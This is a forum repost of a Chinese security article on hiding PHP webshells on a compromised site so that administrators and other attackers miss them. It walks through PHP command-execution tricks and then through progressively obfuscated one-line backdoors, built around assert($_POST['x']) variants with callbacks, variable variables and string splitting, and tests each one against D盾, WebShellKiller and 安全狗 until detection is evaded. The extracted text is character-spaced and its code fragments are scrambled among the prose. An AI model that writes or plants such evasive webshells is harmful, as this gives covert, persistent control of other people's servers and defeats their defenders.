搜索

[16404] 2021-02-05_如何优雅地隐藏你的Webshell

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-02-05_如何优雅地隐藏你的Webshell 如 何 优 雅 地 隐 藏 你 的 W e b s h e l l 队 员 编 号 0 5 6   F r e e B u f   2 0 2 1 - 0 2 - 0 5 拿 下 一 个 站 后 总 希 望 自 己 的 后 门 能 够 很 隐 蔽 ！ 不 让 网 站 管 理 员 或 者 其 他 的 H a c k e r 发 现 ， 网 上 关 于 隐 藏 后 门 的 方 法 也 很 多 ， 如 加 密 、 包 含 ， 解 析 漏 洞 、 加 隐 藏 系 统 属 性 等 等 ， 但 大 部 分 已 经 都 不 实 用 了 ， 随 便 找 一 个 查 马 的 程 序 就 能 很 快 的 查 出 来 ， 下 面 分 享 我 总 结 的 一 些 经 验 ： 制 作 免 杀 制 作 免 杀 w e b s h e l l 隐 藏 w e b s h e l l 最 主 要 的 就 是 做 免 杀 ， 免 杀 做 好 了 ， 你 可 以 把 w e b s h e l l 放 在 函 数 库 文 件 中 或 者 在 图 片 马 中 ， 太 多 地 方 可 以 放 了 ， 只 要 查 杀 工 具 查 不 到 ， 你 的 这 个 w e b s h e l l 就 能 存 活 很 长 时 间 ， 毕 竟 管 理 员 也 没 有 那 么 多 精 力 挨 个 代 码 去 查 看 。 命 令 执 行 的 方 法 命 令 执 行 的 方 法 这 里 使 用 我 们 最 常 用 的 p h p 的 一 句 话 马 来 给 大 家 做 演 示 ， P H P 版 本 是 5 . 6 的 ， 在 写 一 句 话 马 之 前 我 们 来 先 分 析 一 下 P H P 执 行 命 令 方 法 1 、 直 接 执 行 、 直 接 执 行 使 用 p h p 函 数 直 接 运 行 命 令 , 常 见 的 函 数 有 ( e v a l 、 s y s t e m 、 a s s e r t ) 等 ， 可 以 直 接 调 用 命 令 执 行 。 2 、 动 态 函 数 执 行 、 动 态 函 数 执 行 我 们 先 把 一 个 函 数 名 当 成 一 个 字 符 串 传 递 给 一 个 变 量 ， 在 使 用 变 量 当 作 函 数 去 执 行 @ e v a l ( ' e c h o   这 是 输 出 ; ' ) ; $ a = " p h p i n f o " ; $ a ( ) ;
3 、 文 件 包 含 执 行 、 文 件 包 含 执 行 有 两 个 p h p 文 件 ， 我 们 把 执 行 命 令 的 放 在 文 件 b 中 ， 使 用 文 件 a 去 包 含 ， 达 到 执 行 的 效 果 4 、 回 调 函 数 、 回 调 函 数 将 想 要 执 行 命 令 的 函 数 赋 值 给 一 个 变 量 ， 再 用 一 个 可 以 调 用 函 数 执 行 的 函 数 把 变 量 解 析 成 函 数 ， 这 么 说 可 能 有 点 绕 ， 看 一 下 a r r a y _ m a p 函 数 的 用 法 ： a r r a y _ m a p 函 数 中 将 $ a r r 每 个 元 素 传 给 f u n c 函 数 去 执 行 ， 例 子 ： b . p h p < ? p h p @ e v a l ( ' e c h o   这 是 输 出 ; ' ) ; a . p h p < ? p h p i n c l u d e   a . p h p < ? p h p $ f u n c   =   ' s y s t e m ' ;
5 、 、 P H P   C u r l y   S y n t a x 我 们 可 以 理 解 为 字 符 串 中 掺 杂 了 变 量 ， 再 使 用 变 量 去 拼 接 字 符 串 ， 达 到 命 令 执 行 的 效 果 6 、 、 p h p 反 序 列 化 反 序 列 化 这 是 根 据 p h p 反 序 列 化 漏 洞 来 实 现 命 令 执 行 ， 可 以 先 创 建 一 个 反 序 列 化 的 漏 洞 文 件 ， 再 去 调 用 反 序 列 化 函 数 $ a r r   =   a r r a y ( ' w h o a m i ' ) ; a r r a y _ m a p ( $ f u n c ,   $ a r r ) ; < ? p h p $ a   =   ' p ' ; e v a l ( " { $ a } h p i n f o ( ) ; " ) ; u n s e r i a l i z e < ? p h p c l a s s   t e s t {         p u b l i c   $ a = " 1 2 3 " ;         p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) {
7 、 、 p h p : / / i n p u t 方 法 方 法 可 以 访 问 请 求 的 原 始 数 据 的 只 读 流 ， 我 们 可 以 理 解 为 我 们 传 p o s t 参 数 ， 会 读 取 到 ， 这 时 候 我 们 就 可 以 加 以 利 用 了 8 、 、 p r e g _ r e p l a c e 方 法 方 法         p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) {                 e v a l ( $ t h i s - > a ) ;         } } u n s e r i a l i z e ( ' O : 4 : " t e s t " : 1 : { s : 1 : " a " ; s : 1 0 : " p h p i n f o ( ) ; " ; } ' ) ; p h p : / / i n p u t p h p : / / i n p u t < ? p h p @ e v a l ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ) ;
函 数 执 行 一 个 正 则 表 达 式 的 搜 索 和 替 换 。 我 们 可 以 使 用 一 个 命 令 执 行 函 数 去 替 换 正 常 的 字 符 串 ， 然 后 去 执 行 命 令 9 、 、 o b _ s t a r t o b _ s t a r t 函 数 是 打 开 输 出 控 制 缓 冲 ， 传 入 的 参 数 会 在 使 用 函 数 的 时 候 去 调 用 它 执 行 输 出 在 缓 冲 区 的 东 西 编 写 免 杀 编 写 免 杀 上 面 说 了 那 么 多 其 实 都 是 一 句 话 木 马 的 思 路 ， 每 一 种 方 式 都 可 以 写 成 一 句 话 木 马 ， 而 想 要 免 杀 常 常 会 多 种 组 合 到 一 起 ， 下 面 从 最 简 单 的 木 马 一 步 步 变 形 ， 达 到 免 杀 的 目 的 p r e g _ r e p l a c e < ? p h p e c h o   p r e g _ r e p l a c e ( " / t e s t / e " , p h p i n f o ( ) , " j u t s t   t e s t " ) ; o b _ e n d _ f l u s h < ? p h p $ c m d   =   ' s y s t e m ' ; o b _ s t a r t ( $ c m d ) ; e c h o   " w h o a m i " ; o b _ e n d _ f l u s h ( ) ; / / 输 出 全 部 内 容 到 浏 览 器 a s s e r t ( $ _ P O S T [ ' x ' ] ) ;
这 种 就 是 最 简 单 的 一 句 话 木 马 ， 使 用 D 盾 扫 一 下 ， 可 以 看 到 5 级 ， 没 有 什 么 好 说 的 动 态 函 数 方 法 , 把 这 个 函 数 赋 值 两 次 变 量 , 再 把 变 量 当 成 函 数 执 行 回 调 函 数 方 法 ， 把 函 数 当 作 参 数 传 给 去 调 用 执 行 a s s e r t ( $ _ P O S T [ ' x ' ] ) ; a s s e r t $ a   =   " a s s e r t " ; $ b   =   $ a ; $ b ( $ _ P O S T [ ' x ' ] ) ; a s s e r t a r r a y _ m a p < ? p h p $ f u n   =   ' a s s e r t ' ;
可 以 看 到 上 面 的 都 是 通 过 两 种 方 法 的 结 合 ， 简 单 的 处 理 一 下 ， 就 变 成 了 4 级 ， 感 兴 趣 的 可 以 把 其 他 的 方 法 都 尝 试 一 下 ， 4 级 的 很 简 单 ， 我 们 去 看 看 3 级 的 都 是 怎 么 处 理 的 通 过 上 面 的 我 们 可 以 思 考 ， 函 数 可 以 当 成 字 符 串 赋 值 给 变 量 ， 那 么 变 量 也 一 定 能 当 成 字 符 串 赋 值 给 变 量 ， 但 调 用 时 需 要 用 $ f u n   =   ' a s s e r t ' ; a r r a y _ m a p ( $ f u n , a r r a y ( $ _ P O S T [ ' x ' ] ) ) ; 动 态 函 数 方 法 $ $ < ? p h p $ a   =   " a s s e r t " ; $ c   = ' a ' ; $ $ c ( $ _ P O S T [ ' x ' ] ) ;
我 们 在 把 这 种 方 法 结 合 到 回 调 函 数 方 法 中 ， 可 以 看 到 ， 已 经 是 2 级 了 这 时 候 我 们 看 一 下 D 盾 中 的 说 明 ： ， 我 们 这 时 候 可 以 用 函 数 封 装 一 下 参 数 < ? p h p $ f u n   =   ' a s s e r t ' ; $ f   =   ' f u n ' ; a r r a y _ m a p ( $ $ f , a r r a y ( $ _ P O S T [ ' x ' ] ) ) ; a r r a y _ m a p 中 的 参 数 可 疑 < ? p h p f u n c t i o n   a s s ( ) {         $ a   =   " a 4 5 1 . a s s . a a a . e r t . a d a w w " ;         $ b   =   e x p l o d e ( ' . ' , $ a ) ;
1 级 了 ， 离 目 标 近 在 咫 尺 了 ， 这 时 候 我 们 应 该 考 虑 让 一 句 话 木 马 像 正 常 的 代 码 ， 在 好 好 的 封 装 一 下         $ b   =   e x p l o d e ( ' . ' , $ a ) ;         $ c   =   $ b [ 1 ]   .   $ b [ 3 ] ;         r e t u r n   $ c ; } $ b   =   a r r a y ( $ _ P O S T [ ' x ' ] ) ; $ c   =   a s s ( ) ; a r r a y _ m a p ( $ c , $ b ) ; < ? p h p f u n c t i o n   d o w n l o a d F i l e ( $ u r l , $ x ) {         $ a r y   =   p a r s e _ u r l ( $ u r l ) ;         $ f i l e   =   b a s e n a m e ( $ a r y [ ' p a t h ' ] ) ;         $ e x t   =   e x p l o d e ( ' . ' , $ f i l e ) ;         / /   a s s e r t         $ e x e c 1 = s u b s t r ( $ e x t [ 0 ] , 3 , 1 ) ;         $ e x e c 2 = s u b s t r ( $ e x t [ 0 ] , 5 , 1 ) ;         $ e x e c 3 = s u b s t r ( $ e x t [ 0 ] , 5 , 1 ) ;         $ e x e c 4 = s u b s t r ( $ e x t [ 0 ] , 4 , 1 ) ;         $ e x e c 5 = s u b s t r ( $ e x t [ 0 ] , 7 , 2 ) ;         $ a s [ 0 ]   =   $ e x e c 1   .   $ e x e c 2   .   $ e x e c 3   .   $ e x e c 4   .   $ e x e c 5 ;         $ a s [ 1 ]   =   $ x ;         r e t u r n   $ a s ; } $ a   =   $ _ P O S T [ ' x ' ] ; $ s     =   d o w n l o a d F i l e ( ' h t t p : / / w w w . b a i d u . c o m / a s d a e s f r t a f g a . t x t ' , $ a ) ; $ b   =   $ s [ 0 ] ; $ c   =   $ s [ 1 ] ; a r r a y _ m a p ( $ b , a r r a y ( $ c ) ) ;
再 试 试 其 他 免 杀 工 具 W e b S h e l l K i l l e r ： 安 全 狗 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理